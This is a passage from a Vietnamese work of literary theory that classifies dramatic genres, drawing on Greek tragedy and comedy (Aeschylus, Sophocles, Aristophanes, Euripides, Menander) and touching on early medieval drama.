Cái cuối cùng tất nhiên không luôn luôn vậy. Ngay cả quy mô sử thi có thể thiếu vắng. Trong “Người mẹ” của Gorki, trong “Sông Đông êm đềm” của Sôlôkhốp, trong “Piôtr đệ nhất” của A.N. Tônxtôi là những hình mẫu xuất sắc của những loại hình mới này. Nhưng những truyện vừa tiểu thuyết anh hùng có thể có quy mô không lớn. “Tsapaev” của Phurmanôv có thể làm ví dụ, trong đó tính cách nhân vật chính biểu lộ sự phát triển tiến bộ quan trọng trong tiến trình xung đột căng thẳng có ý nghĩa “lịch sử – dân tộc”. Trong suốt cả cuộc đấu tranh của đội Tsapaev với đội quân Kôltrak người anh hùng dưới tác động đạo đức của người chính uỷ Klưtrkôv bộc lộ sự hiểu biết sâu sắc và ngày càng sáng rõ hơn thực chất những mâu thuẫn giai cấp, chính trị – tư tưởng diễn ra trên đất nước và toàn bộ tính tổ chức bên trong và bên ngoài to lớn trong lãnh đạo các hoạt động chiến đấu. Như vậy là trong tác phẩm này và các tác phẩm tương tự khác đã hầu như hiện ra sự tổng hợp các phương diện “lịch sử – dân tộc” của việc miêu tả các tính cách với phương diện tiểu thuyết xuất hiện trên cơ sở của nó.
Đối với những tác phẩm như vậy không nhất định phải là hình thức văn xuôi – chúng có thể là trường ca. “Đêm cuối cùng” của E. Bagrixki, “Khúc bi ca về Ôpanaxa” cũng của ông. “Dôia” của Aliger, “Lida Traikina” của Xyerlov, “Vaxili Terkin” của Tvarđôvxki, “Con trai” của Antôkônxki có thể làm ví dụ tốt cho loại này. Vì vậy trường hợp đang nói, có thể không chỉ giới hạn trong một thể loại mà là cả một nhóm mới của các thể loại xuất hiện có quy luật trong văn học xã hội chủ nghĩa.
Những cách phân loại các thể loại tự sự được đề nghị trên đây rõ ràng dựa vào những nguyên tắc quan niệm sau: Xuất phát từ tính đồng nhất phương diện loại hình của nội dung, các thể loại thống nhất trong những nhóm lớn; mỗi một thứ trong những nhóm loại hình ấy xuất hiện trong giai đoạn nhất định của phát triển xã hội dân tộc và trong sự nhất quán có tính quy luật nhất định: nhóm thần thoại, “lịch sử – dân tộc”, “phong tục”, tiểu thuyết; trong giới hạn của từng nhóm thể loại có sự khác biệt nhau do mức độ tính tự sự hoặc tính tự sự trữ tình, do dung lượng đề tài, do những hình thức kết cấu phong cách thể loại của chúng.
Có thể tiếp tục áp dụng những nguyên tắc phân loại ấy đối với thể loại kịch và trữ tình chăng?

V. CÁC THỂ LOẠI KỊCH
Việc áp dụng vào các thể loại kịch những nguyên tắc phân loại đã sử dụng vào thể loại tự sự chắc chắn gặp những khó khăn to lớn. Một trong những khó khăn đó là ở chỗ, nếu như những dấu hiệu thuật ngữ truyền thống của các thể loại tự sự – sử thi, truyện ngắn, tiểu thuyết, bút ký v.v… mà từ đó chính những định nghĩa của chúng không gắn bó gì với các phạm trù cảm hứng của tác phẩm, còn những dấu hiệu truyền thống của các thể loại cơ bản của kịch mà từ đó chính sự nhận biết những đặc điểm của chúng lại gắn chặt với các phạm trù ấy. Bi kịch nếu phán xét theo chính tên gọi – đó là bi kịch theo cảm hứng của nó, còn kịch đram trong sự khác với bi kịch – thì điều đó rõ ràng là luôn luôn là kịch theo cảm hứng vở kịch, hài kịch, luôn luôn hài hước. Từ đó hình như là kịch đòi hỏi nguyên tắc phân loại thể loại của mình một cách khác so với tự sự và cái nguyên tắc được đề ra ở trên của việc phân chia thể loại không phù hợp với nó.
Thực ra thì điều đó tất yếu không phải thế. Chúng ta sẽ vận dụng hoàn toàn nguyên tắc phân chia thể loại ấy vào kịch. Vì trong các tác phẩm kịch tất nhiên luôn luôn có phương diện loại hình chung nội dung của chúng, toàn bộ hệ vấn đề của chúng mà ở trên chúng ta đã tìm thấy trong các tác phẩm tự sự và đã xem xét nó như phương diện thể loại của bản thân nó. Ở trong kịch cần đặt nó làm cơ sở phân loại thể loại mặc dù đồng thời cũng còn trong một chừng mực lớn đi ngược với những quan niệm quen biết truyền thống.
Chúng ra sẽ cố gắng tiếp tục chứng minh điều sau đây. Tất cả bi kịch – đó là những vở kịch với xung đột bi kịch và cảm hứng bi kịch được toát ra từ nó; nhưng đồng thời về phương diện thể loại đặc biệt của hệ những vấn đề của mình, chúng có thể thuộc về những nhóm khác nhau của các thể loại – có thể là bi kịch thần thoại, “phong hóa”, “lịch sử – dân tộc”, tiểu thuyết – kịch đram, theo dấu hiệu đó, có thể là những vở kịch “lịch sử – dân tộc” và tiểu thuyết; nhưng kịch tiểu thuyết có thể không bao hàm trong mình tính bi đát thể hiện rõ ràng, gay gắt của những xung đột và cảm hứng của mình. Còn cái gì liên quan tới hài kịch thì luôn có phương diện “phong hóa” trong những hệ vấn đề của mình và phụ thuộc với một nhóm thể loại tuy không thường xuyên nhưng có phản ánh những tính cách hài và những thái độ các nhân vật, và vì thế, không phải lúc nào cũng mang cảm hứng châm biếm hay trào phúng. Chúng có thể vừa mang tính đa cảm vừa mang tính kịch theo cảm hứng của mình.
Nhưng có một khó khăn khác đối với việc chia thể loại kịch. Như đã nói, kịch đram như một biến thể đặc biệt của vở diễn, khác với bi kịch và hài kịch, được nhận thức nội dung loại hình của mình so với mặt lịch sử là muộn – vào thế kỷ XVIII. Từ đó, đã có quan niệm cho rằng kịch đram xuất hiện vào thời kỳ muộn hơn với sự phát triển của kịch. Quan niệm như vậy có cơ sở nhưng đã lẫn lộn chính cái hiện tượng tồn tại khách quan với khái niệm về hiện tượng đó. Thực ra kịch đram trong nội dung thể loại khác nhau của mình đã xuất hiện rất sớm, có cả trong văn học cổ đại Hy Lạp.
Trong văn học cổ và muộn hơn – trong văn học Phục hưng và chủ nghĩa cổ điển – kịch đram đã tồn tại không khác biệt với bi kịch và hài kịch. Kịch đram với những xung đột sâu sắc và nặng nề thường diễn ra với sự tử vong, lúc đó đã được xem là bi kịch, kịch đram với những xung đột nhẹ nhàng và bình yên hơn trong các kết thúc của mình có tiếng là hài kịch. Những quan niệm như vậy đã được lĩnh hội vững chắc và trở thành truyền thống. Có thể tìm thấy chúng trong nhiều tác phẩm khoa học lịch sử văn học và trong các sách giáo khoa. Nhưng những quan niệm ấy không chuẩn xác và dẫn tới việc cần xem xét lại. Có nghĩa là khi nói về kịch đram, về những biển thể thể loại của chúng, cần phải phân biệt chúng với bi kịch và hài kịch trong suốt quá trình phát triển văn học.
Khi giải thích sơ bộ những nguyên tắc phân loại ấy chúng ta trước hết sẽ hướng vào văn học cổ Hy Lạp và sẽ xem xét các quan hệ ấy của các thể loại kịch mà nó tồn tại trong đó.
Ở trên đã nói rằng những người Hy Lạp cổ đại đã tạo dựng những buổi diễn bi kịch thần thoại, đã đem lại cho bi kịch cái tên của nó, rằng cái tên đó về sau đã chuyển sang những tác phẩm khác được trình diễn trên sân khấu cổ đại mà theo nội dung của mình là nghiêm trang và quan trọng nhưng được mô tả không phải là ông thần phì nhiêu, là sự chết và hồi sinh của nó mà là những quan hệ người. Không nghi ngờ gì rằng dưới cái tên cũ đã xuất hiện về thực chất là một thể loại kịch mới.
“Nhưng, – I.M. Tronxki viết về điều này, – nếu như bi kịch cổ đại đã phát triển trên cơ sở của trò chơi dân gian về những con dê tửu thần và ca tụng kiểu ariônôvxki, thì ngay trong thời điểm đó, cũng đã xuất hiện việc chuyển nội dung sang những “sự khủng khiếp” trong vấn đề đạo đức. Trong lúc bảo tồn dưới hình thức mang nhiều dấu vết nguồn gốc của mình, bi kịch về nội dung và tư tưởng đã là một thể loại mới, đã đặt ra những vấn đề phẩm hạnh con người qua những ví dụ về số phận các nhân vật thần thoại”(1).
Đó là sự khái quát hoàn toàn đúng nhưng chưa đầy đủ. Bi kịch trong khi còn lại là tác phẩm có tính bi kịch về xung đột, cảm hứng đã chuyển thành vở diễn thần thoại tượng trưng những hiện tượng tự nhiên được tái sinh. Nó đã thành vở diễn tái hiện lại những tính cách người – những tính cách thần thoại và cả những nhân vật truyền thuyết. Nhưng bây giờ những đặc điểm chung của hệ những vấn đề của nó thế nào – nó đã thành “thể loại mới” ra sao? Bởi vì những tính cách các nhân vật thời đại Hômer khi xuất hiện trong các bài ca và truyện kể sử thi sau này đã được hiểu theo cách khác.
Ví dụ tính cách Agamenông, một trong những người tham gia tích cực và quan trọng của cuộc phong tỏa thành Troa, đã có thể được nhận thức từ quan điểm “lịch sử – dân tộc”, – như tính cách một chiến binh xuất sắc bằng hành động anh hùng, sáng kiến của mình định đoạt số phận cả bộ tộc Hy Lạp cổ đại và sự liên minh các bộ lạc. Etsin trong vở kịch “Agamenông” của mình đã nhận thức nó và trình bày phần đầu bộ ba bi kịch “Ôretia” của ông như vậy chăng? Không, hoàn toàn khác.
Nhà soạn kịch Aphin sống trong những điều kiện của thời đại sau Hômer, vào lúc tồn tại nhà nước dân chủ, đã không đưa lên bình diện đầu tiên chiến công của người anh hùng, cũng không quan tâm tới nội dung công dân của đất nước, mà lại quan tâm tới việc, người anh hùng đã cúng cho các thần người con gái thân yêu Iphigenhia của mình ngay trước lối dẫn đến thành Troa. Bi kịch của Etsin lại miêu tả trực tiếp cuộc trở về tưng bừng của người chiến thắng Troa trong thành phố quê hương, Argôx, với người vợ Klitemnhextra. Đó là lễ hội vui mừng nhưng có sẵn mầm độc ác bởi vì ngay trong cuộc trở về của chồng, Klitemnhextra bất ngờ giết chết chồng một cách dã man, báo thù cho các nhà tiên tri. Những sự trình diễn sân khấu như vậy đã là một hành động khắc phục tư tưởng đạo đức cũ xưa tồn tại trong xã hội quân sự – quý tộc trước khi có giai cấp bằng việc vượt qua nó trong sự nhận thức xã hội mới của nền dân chủ quốc gia có tổ chức.
Điều đó hoàn toàn được xác nhận bằng việc ở phần thứ ba của bộ ba kịch ấy, trong vở bi kịch “Evmenhiđa”, hành động lướt nhanh từ thời cổ đại khổng lồ sang hiện đại của Etsin. Êrinnhin, những nữ thần báo thù già yêu cầu trả thù Ôrext vì đã giết mẹ, nhưng các vị thần mới là Aphina và Apôllôn, những người bảo hộ chế độ nhà nước dân chủ đã xóa bỏ lời buộc tội với chàng trai và phá bỏ giây xích giết người đẫm máu. Để làm điều đó, Aphina thiết lập tòa án hội thẩm, trong đó có những công dân Aphin xuất sắc tham dự và dưới sự đại diện của nữ thần, họ giải thoát Ôrext khỏi trọng tội. Như vậy, câu chuyện diễn tả xung đột tượng trưng của đạo đức cũ “thế kỷ các anh hùng” với đạo đức mới của xã hội hiện đại trong nhận thức của Etsin. Và cái sau chiến thắng.
Có nghĩa là những vở diễn đã kể của Etsin, nhà viết kịch đầu tiên trong những tác gia kịch Aphin nổi tiếng với chúng ta không phải là những bi kịch “lịch sử – dân tộc” mà là những bi kịch bóc trần những đạo đức xã hội xưa cũ vì những lý tưởng đạo đức mới. Nói cách khác, điều đó là những bi kịch “phong hóa” theo nội dung thể loại của mình. Và có nghĩa là những anh hùng huyền thoại của “thế kỷ” đã qua đời không đồng thời là “ví dụ” giản đơn. Chính những tính cách của chúng, những nguyên tắc đạo đức của chúng vẫn còn sống trong ý thức xã hội, được phản ánh tư tưởng trong các bi kịch của thể loại mới.
Những bi kịch tương tự đã được sáng tác thời đó trên những cốt truyện khác. Những nét có tầm quan trọng đặc biệt là trong đó mô tả số phận bất hạnh của một dòng họ lãnh chúa huyền thoại khác chưa bao giờ cai quản ở Phiv. Ở đây liên quan đến những vở bi kịch còn vang vọng đến thời chúng ta của Etsin “Bảy người chống Phiv” và ba vở kịch của Xôphôcl – “Êđíp làm vua”, “Êđip ở Kôlôn”, “Ăngtigôn”. Khuynh hướng đạo đức chung ở những vở kịch này là khuynh hướng có trong “Ôrexte” của Etsin. Sự việc không phải ở chỗ vua Lai ở Phivan đã coi thường yêu sách của nhà tiên tri là sẽ không con cái, mà là ở chỗ ông ta vì lời tiên tri mà giết người con trai nhỏ Êđip của mình; rằng Êđip khi lớn lên không biết điều đó, đã giết cha mình và thành chồng của mẹ đẻ ra mình là Iôkaxt; rằng những đứa con của Êđip là Etêokl và Pôlinhik nổi lên tranh giành ngôi báu ở Phiv và giết nhau; rằng vua mới ở Phiv là Krêônt phán định xử tử một cách khủng khiếp người em gái của Êđip là Ăngtigôn vì đã vi phạm lệnh của nhà vua cấm mai táng thi thể của Pôkinhik ở Phiv và con trai của Ghêmon, hôn phu của Ăngtigôn, và vợ của Êvriđik thì tự trừng phạt vì điều đó theo cách tự sát thần thánh. Trước chúng ta ở đây là toàn bộ giây xích những tội ác đẫm máu trong dòng họ cầm quyền huyền thoại. Và những bi kịch ấy đã có ý nghĩa đạo đức – giáo huấn và đã hướng đến những người cùng thời của Etsin và Xôphôcl.
Nhưng khi xác định việc xuất hiện bi kịch thể loại mới, “đặt ra những vấn đề phẩm hạnh con người”, I.M. Trônxki trong sách của mình đã không chú ý đến một điều khác không ít quan trọng. Ngay trong đầu thế kỷ thứ V trước thời đại chúng ta trên sân khấu Aphin đã xuất hiện vở diễn của Phrinhikh “Sự chiếm đoạt của Milet” và muộn hơn, sau khi những người Hy Lạp chiến thắng người Ba Tư gần Xalamin là vở “Phinhikianki” cũng của ông (cả hai vở này đến nay không còn) và tiếp theo là vở “Những người Ba Tư” của Etsin. Tất cả chúng được viết không phải trên đề tài huyền thoại mà trên đề tài đương thời và thậm chí bức thiết của cuộc sống công dân Aphin. Những tác phẩm kịch như vậy vào thời ấy và cả bây giờ đều gọi là bi kịch. Nhưng thực ra theo những đặc điểm các xung đột và cảm hứng – như điều đó đã được nêu lên ở trên trong ví dụ “Những người Ba Tư ” thì chúng là kịch đram chính trị”, liên quan với nhóm thể loại “lịch sử – dân tộc”. Người ta đã dễ dàng gọi chúng là bi kịch bởi vì chúng thừa kế từ các bi kịch thần thoại một số nguyên tắc phong cách tiếng hát dàn đồng ca tiên báo tai họa và kêu gọi ý chí thần thánh những giấc mơ tiên tri của các nhân vật v.v…
Như vậy thay cho bi kịch thần thoại trong kịch cổ đại Hy Lạp là hai thể loại mới – từ đầu là kịch đram chính trị, sau đó là bi kịch “phong hóa”.
Một loại khác hoàn toàn muộn hơn nhưng cùng nội dung “phong hóa” đã tìm được sự biểu hiện của mình trong các hài kịch của Arixtôphan nhưng lại có cảm hứng và hệ vấn đề khác. Nếu như trong các bi kịch “phong hóa” của Etsin và Xôphôcl được hình thành như một thể loại vào những năm 60 – 50 thế kỷ V trước thời đại chúng ta thông qua việc mô tả các tính cách của các nhân vật thần thoại lên án đạo đức cũ của xã hội chưa có giai cấp, vì đạo đức mới xuất hiện chưa lâu của nhà nước dân chủ thì trong một số hài kịch của Arixtôphan viết muộn hơn vào những năm 420 đã vạch trần những mặt xấu xa và mâu thuẫn của đời sống của chính nền dân chủ Aphin, đã phát biểu vào thời kỳ suy thoái của mình.
Hài kịch Arixtôphan cũng hàm chứa trong mình một số mối liên hệ với những quan niệm nghi lễ nhưng không phải với chính những hành động nghi lễ sân khấu nghiêm túc mà với những đám rước hóa trang vui vẻ và những trò chơi hài hước mà những người Aphinhian đã hiến dâng sau khi hoàn thành nghi lễ Điônysos và chúng thoạt kỳ thuỷ đã trực tiếp diễn ra trên các quảng trường và đường phố đô thị (tiếng Hy Lạp komos có nghĩa là cuộc diễu hành vui vẻ của những người dạo chơi và ode có nghĩa là bài hát).
Thành quả sáng tạo của Arixtôphan là ở chỗ ông đã chuyển những thủ pháp điển hình hóa cácnavan và dựng lên sự phù hợp của các hành động (những cuộc tranh cãi hài hước, những lớp hề, những sự chửi mắng nhau, ẩu đả, châm biếm, sự bầu chọn giả tạo của những người nô lệ làm “hoàng đế” và “lãnh tụ” nhân dân v.v…) trên sân khấu, tạo dựng sự trình diễn bi kịch và bảo toàn trong đó dàn đồng ca, đem lại cho chúng một nội dung phù hợp. Nhưng tất cả các hình thức hóa trang – hề ấy của việc kiến tạo vở diễn đã giúp ông giải quyết về cơ bản những nhiệm vụ rất quan trọng thực sự thuộc về hài kịch (“có tính phong tục”) – mà phần lớn là phê phán châm biếm gay gắt tình trạng xã hội Aten cùng thời với ông, phê phán những tập quán xã hội, chính trị, ý thức hệ của nó – thường hướng vào chống lại những cá nhân có thực riêng lẻ, biểu hiện một cách rõ ràng những tập quán ấy trong bản thân. Đôi khi sự phê phán như vậy ở Arixtôphan có tính chất lý sự cùn nhiều hơn, biểu hiện chủ yếu trong những cuộc tranh cãi, bàn bạc của các nhân vật hóa trang (vở hài kịch “Những con ếch” hay “Ôxư”). Trong những trường hợp khác việc vạch trần các tập quán dân sự khác đã được thực hiện bằng chính quá trình hành động sân khấu.
Chẳng hạn như vở hài kịch “Đám mây” hướng vào việc chống lại “sự khôn ngoan” ngụy biện, giả dối mà theo ý kiến của tác giả thì việc giáo dục làm hư hỏng tuổi trẻ đang bắt nguồn từ đấy. Trong đó mô tả ông già Xtrépxiôd có trách nhiệm về việc người con trai Phiđippiđa của mình ham mê ăn diện như thế nào, đã kêu gọi sự giúp đỡ của nhà ngụy biện và ông thầy của họ giống kiểu của Xôcrát – người mà trong “biện luận” của mình nắm vững những cách nghiên cứu vô lý khác nhau. Ông thầy ấy nhận Xtrépxiôd làm học trò của mình, trong khi không hiểu tí gì về sự anh minh của những nhà ngụy biện. Xtrépxiôd lại gửi con trai mình đến học thế chỗ mình và chẳng bao lâu chịu sự trừng phạt cay đắng vì điều đó – Phiđippid nhanh chóng nắm vững cách bịp bợm ngôn từ của những nhà ngụy biện. Trong tranh luận với cha về các kiểu cách văn chương, đã dẫn tới việc ẩu đả với nhau và chứng minh rằng con có thể đánh cả mẹ. Khi đó Xtrépxiôd phẫn uất đốt cháy “sách truyền dạy” của các nhà ngụy biện.
Trong vở hài kịch “Những kỵ sĩ” với sự hỗ trợ của các thủ pháp cácnavan đã tạo được sự phê bình châm biếm hoạt động chính trị của nền dân chủ đã từng đưa Aten đến cuộc chiến kiệt quệ, đến bần cùng hóa nông dân và những hậu quả tiêu cực khác.
Nhưng một số hài kịch của Arixtôphan lại có tính chất không tưởng chứ không phải tính chất châm biếm. Xuất sắc hơn cả trong số đó là vở “Những con chim” trong đó miêu tả hai người công dân Aten đã lên đường đi tìm đất nước hạnh phúc và đã hướng theo lời khuyên tìm đến con chim Uđôđ như thế nào. Không thỏa mãn với những lời khuyên ấy, một người trong bọn họ là Pixphetar đòi thành lập một quốc gia chim giữa trời và đất, từ đó các con chim sẽ điều khiển cả người và trời, giúp cho người không bị hiến sinh cho trời. Anh ta khẳng định trước những con chim tụ họp rằng thời xa xưa chúng đã chiếm lĩnh toàn thế giới và cần phải khôi phục lại chính quyền của mình. Với sự nỗ lực của đông đảo bầy chim đã xây được một căn nhà của thành phố mới, tiếp nhận vào đó những con người và giải phóng họ khỏi chính quyền nhà trời. Và những người sau cùng thoát khỏi sự hiến sinh, đồng ý với mọi điều kiện. Hoàn cảnh không tưởng còn làm cơ sở cho các hài kịch “Những nhà lập pháp” và “Sự giàu sang” của Arixtôphan.
Như vậy, các hài kịch của Arixtôphan thực sự là hài kịch – không trong cái nghĩa cơ bản rằng trong các cốt truyện và hình thức của chúng đã nhất định có nhiều tính khôi hài mà là trong cái nghĩa nhìn chung bằng những đặc điểm lặp đi lặp lại có tính lịch sử của hệ vấn đề của mình đó là những tác phẩm “phong tục học” với khuynh hướng châm biếm hoặc không tưởng.
Từ đó cho thấy nhìn chung cần xác định hài kịch như một thể loại không theo khuynh hướng tư tưởng – cảm xúc của nó. Thể loại ấy có thể là vừa hài hước, vừa châm biếm, vừa tình cảm và thậm chí lãng mạn hoặc nhìn chung không hiện rõ cách diễn đạt rành mạch và thống nhất của mình. Hài kịch – đó là tác phẩm kịch, cốt truyện của nó nhằm thực hiện những nhiệm vụ “phong tục học”, khám phá trạng thái này hay trạng thái khác của xã hội (hoặc một phần của nó) – trạng thái xã hội, chính trị, ý thức hệ, đạo đức. Như đã nói ở trên, các nhân vật và tiến trình các sự kiện hài kịch có thể không phải là cái buồn cười. Chúng ta sẽ tiếp tục thấy các ví dụ như vậy.
Cuối cùng, điều đặc biệt thú vị trong kịch Attich thế kỷ X trước công nguyên là trong sáng tác của Ơripiđ – người nhỏ nhất trong ba tác giả bi kịch nổi tiếng thời đó, trong truyền thống phong cách bi kịch đã sinh ra thể loại đram (chính kịch) miêu tả không phải những xung đột công dân mà là những xung đột riêng, gia đình, trong đó diễn ra sự hình thành tính cách xã hội của cá nhân độc lập, riêng lẻ tương tự những mâu thuẫn của các tiểu thuyết.
Vở “Mêđê” và “Ippôlít” của Ơripiđ có ý nghĩa đặc biệt trong quan hệ ấy. Trong những vở kịch ấy còn bảo tồn được những quan niệm tôn giáo xa xưa về khả năng can thiệp của các thần linh vào đời sống con người và những nhân vật chính của chúng – vẫn như cũ, là những hoàng đế và nữ hoàng, thậm chí đôi khi gắn bó với những truyền thuyết anh hùng xa xưa và những đoạn kết cục các mâu thuẫn của chúng nhất thiết phải đổ máu. Nhưng tất cả điều đó chỉ là những hình thức tư duy bi kịch xưa cũ, quen thuộc và thiêng liêng của truyền thống dân gian. Về thực chất hệ vấn đề của các vở diễn ấy lại là loại khác, mang tính kịch đram trong nghĩa hẹp của từ này.
Nếu như trong các bi kịch “phong tục hóa” của Etsin và Xôphôcl Klitemnhêxtra và Ôrêxt, Ơđip và Antigôn hành động như những đại biểu của bộ tộc và đại diện có lẽ công bằng thì Mêđê và Phêđra ở Ơripiđơ lại hành động và báo thù vì những quyền lợi cá nhân của mình.
Thực chất xung đột trong loại đầu của những vở kịch ấy là ở chỗ sau đây.
Mêđê trong quá khứ đã hy sinh nhiều vì tình yêu đối với chồng mình là Iaxon, bây giờ đang sống hạnh phúc với chồng và con gái ở Kôrinph thì bị phát vãng. Không bằng lòng với tình hình ấy, Iaxon muốn bỏ vợ con để kết hôn với người con gái của nhà vua ở Kôrinph là Crêông nhằm đạt được những quan hệ có lợi hơn, bộc lộ sự nhút nhát, đê tiện. Mêđê vô cùng tức giận và phẫn uất, không thể cam chịu để trở thành vật hy sinh của sự ngoại tình và rẻ rúng. Nàng trả thù tàn nhẫn vì lòng tự ái phụ nữ bị lăng nhục của mình đã đầu độc Crêông và Iaxon rồi sau đó giết luôn cả những đứa con riêng của mình. Nàng bay cùng thi thể các con trên chiếc xe từng gửi nàng theo công việc của Hêliôx, còn Iaxon thành ra cô đơn, đau khổ và bị huỷ diệt về mặt đạo lý.
Chúng ta tạm lãng quên sự trả thù cực kỳ đẫm máu của Mêđê và cỗ xe của Hêliôx thì trước chúng ta hiện ra vở kịch sinh hoạt gia đình hoàn toàn đáp ứng những quan niệm mới của Ơripiđ về sự thiết yếu của bình đẳng đạo đức của vợ chồng trong hôn nhân. Trong sáng tác khá lâu về sau của mình Ơripiđ đã xây dựng những cốt truyện trên những xung đột sinh hoạt riêng tư nhiều hơn và chúng đã có được sự kết thúc thích hợp hơn.
Chẳng hạn trong vở kịch gia đình “Iôn” cũng được gọi là “bi kịch” xảy ra trong gia đình nhà vua Kxuph, dựa trên môtíp của đứa trẻ sinh ra bất hợp pháp và lén lút nhưng về sau thì được biết mẹ của nó, được kết thúc một cách hoàn toàn yên ổn, không có sự kiện đổ máu nào. Trong vở “bi kịch” “Êlêna” cốt truyện phần nào có tính phiêu lưu và “kịch thông tục”, cũng có sự kết hợp hợp lý. Cốt truyện nằm ở những truyện phiêu lưu có sẵn trong Eghip Êlêna (nơi thành Troa hầu như chỉ còn ảo ảnh của nó!) được tìm ra sau chiến thắng quân Troa và Mênhêlaia rất khó khăn mới chạy thoát trên chiếc thuyền khỏi chính quyền nhà vua Phêôklimen – kẻ mưu hại sự trinh tiết phụ nữ của Êlêna đức hạnh.
Sự phát triển tiếp tục loại hình này ở Hy Lạp đã có được vào thời đại muộn hơn về sau – trong nửa sau thế kỷ thứ IV và đầu thế kỷ thứ III trước công nguyên, khi những biểu tượng thần thoại và anh hùng truyền kỳ cổ xưa đã mất đi ý nghĩa dĩ vãng của mình trong ý thức xã hội. Vì vậy thể loại này đã kiếm được nội dung xã hội mới cụ thể hơn và từ đó có được cái tên mới – “bi kịch mới”. Mênanđr là người sáng tạo lớn nhất những tác phẩm như vậy.
Bây giờ kịch Hy Lạp hoàn toàn chiếm lĩnh đề tài đời sống riêng và nghiên cứu hầu như thường xuyên những xung đột sinh hoạt gia đình xảy ra trong xã hội chiếm hữu nô lệ sung túc. Trong những xung đột ấy không còn vua, không có các thần linh can thiệp vào tiến trình sự kiện (chúng chỉ xuất hiện với những sự giải thích với khán giả), không có các kết thúc đổ máu. Nhưng chắc chắn là những nhà sáng tạo nên các bi kịch phong cách Aten mới đã tạo nên mối liên hệ của mình với các bi kịch tương tự về tính cách chung của hệ vấn đề và đôi khi thậm chí đã trích dẫn từ chúng thông qua các nhân vật của mình. Và điều đó là hoàn toàn tự nhiên: dưới cái tên mới nhưng không phù hợp với nội dung của nó, ở đây đã phát triển về thực chất một thể loại kịch đram lãng mạn sinh hoạt, hàm chứa trong đó các vấn đề loại hình không phải sự hình thành xã hội mà là sự phát triển các tính cách những nhân vật chủ yếu của mình trong đời sống riêng, trong những xung đột bên ngoài với các tiêu chuẩn đạo đức và những điều ngẫu nhiên thường nhật của hoàn cảnh xã hội của mình.
Ví dụ như vở “bi kịch” sinh hoạt gia đình “Tòa án trọng tài” của Mênanđr. Tư tưởng chung của vở kịch là lòng khao khát sự bình đẳng đạo đức trong hôn nhân của đàn ông và đàn bà. Khởi điểm xung đột là ở chỗ chàng thanh niên giàu có Kharixi trong lúc ngà ngà say trong đêm lễ hội đã cưỡng dâm cô Pamphlila cũng ở một gia đình tương tự, nhưng sau đó theo sự đính hôn của cha mẹ, chàng đã phải lấy cô ta, mặc dù họ không hề nhận ra nhau. Trong lúc vắng chồng, Pamphlila đã sớm sinh đứa trẻ, để cứu vớt danh dự của mình nàng đã lén bỏ đứa trẻ với một số đồ vật đặc biệt là chiếc vòng đá quý của Kharixi đã đánh rơi trong cái đêm bất hạnh ấy. Kharixi biết được điều đó và rất buồn phiền, chàng không yêu Pamphlila, xa lánh nàng và trở nên trác táng. Về sau nhờ chuyển giao đồ đạc cho người hàng xóm thuận tình nuôi đứa trẻ, người nô lệ của Kharixi là Ônhixim biết được chiếc vòng đá quý là của chủ nhân mình từng đánh mất trong đêm dạ hội bất hạnh ấy và đoán ra cha đứa trẻ nhưng không biết kể điều đó như thế nào với chủ nhân. Nhưng Kharixi đã tự thấy được lòng trung thành của Pamphlila và nỗi đau khổ của nàng khi nàng sửa soạn trở về với cha mẹ, đã sẵn lòng tha thứ tội lỗi của nàng, bởi chàng đau đớn nhận ra rằng chính mình đã gây ra sự việc với cô gái không quen biết. Lúc đó mọi người mới chỉ ra cái bí mật cho chàng, đưa ra cái vòng đá quý và đứa con trai bị lén bỏ và giúp nó nhận biết cha mình. Tất cả điều đó làm cho Pamphlila và Kharixi trở thành cặp vợ chồng hạnh phúc.
Như vậy ý nghĩa chính của các sự kiện nằm trong sự phát triển đạo đức của tính cách Kharixi. Nhưng trong những lời đàm tiếu của người nô lệ Ônhixim, người mà theo tác giả là thông minh hơn các chủ nhân của mình, trình bày một cách vụng về cái tư tưởng thiết thực rằng số phận con người phụ thuộc không từ thần linh mà từ đạo đức, tính cách riêng.
Có nghĩa là bi kịch Aten mới về thực chất không phải là bi kịch mà là kịch sinh hoạt gia đình được hoàn toàn rút ra từ đời sống riêng và chủ động di truyền phương thức của mình từ những vở kịch không mang thực chất bi kịch muộn màng về sau của Ơripiđ giống như “Iona” hoặc “Êlêna” của ông ta, đã có được những kết thúc tốt lành. Có nghĩa là kịch đram như một thể loại tương tự tiểu thuyết, có thể được xây dựng trên những xung đột sâu sắc và gay cấn hơn làm phát triển tính cách những nhân vật chính và dẫn tới chỗ dữ dội, đôi khi kết thúc đẫm máu và trên những xung đột ít gay gắt hơn, có được kết thúc yên lành. Vậy là cần xem xét kịch đram như một thể loại không theo trình tự tính chất kịch của cảm hứng của nó – có thể rất mờ nhạt – mà theo những đặc điểm loại hình của toàn bộ các vấn đề và xung đột của nó.
Như vậy, trong văn học cổ đại Hy Lạp đã xuất hiện – dưới những tên gọi không hoàn toàn phù hợp với nội dung của chúng – tất cả những thể loại cơ bản của nghệ thuật kịch có quan hệ với bốn nhóm thể loại mà chúng ta đã tìm thấy ở các tác phẩm tự sự. Và ngay cả cái trật tự lịch sử của sự xuất hiện chúng cũng rõ ràng là về cơ bản như vậy. Nghệ thuật kịch La Mã trong quan hệ này không mang lại một điều gì mới về nguyên tắc trong so sánh với nghệ thuật kịch cổ Hy Lạp.

2
Nghệ thuật kịch trung cổ (nếu không tính những diễn xuất dân gian – phônclo – của các nghệ sĩ hát rong trong nhân dân, những người bị nhà thờ theo dõi và cấm đoán vì sự hiện diện trong họ tiếng vang của đa thần giáo) đã dần dần xuất hiện từ các “thánh kịch” và “kịch thần bí” nhà thờ vốn đã miêu tả trên sân khấu những cốt truyện thần thoại cơ đốc giáo. Nhưng sự xuất hiện, trong mối liên hệ bề ngoài với chúng mà thực ra về nội dung của mình của những vở kịch có tính thế giới đã dần dần diễn ra và đến rất chậm trong so sánh với sự phát triển của tự sự trung cổ và thơ trữ tình.
Nhưng dù sao thì vào thế kỷ XIII những “điều kỳ diệu” tôn giáo chỉ làm việc mở nút trong các vở diễn có nội dung kịch tao nhã. Như trong vở “Kịch thần bí” của Gi.Bôđêli “Igra Nhikôlaia” được miêu tả như một dũng sĩ tuy bị làm tù binh của Xaraxinư nhưng vẫn bảo vệ được bức tượng bán thân thiêng liêng và quả quyết rằng nó có thể bảo vệ mọi người khỏi sự cướp bóc. Để kiểm nghiệm điều đó vua Xaraxinư đã bỏ bức tượng vào kho của mình và không bảo vệ. Những tên kẻ trộm liền khoắng hết ngân khố nhà vua. Nhưng khi đụng vào bức tượng thì Nhikôlaia tìm được bọn trộm, sau đó vua Xaraxinư tiếp nhận Cơ đốc giáo.
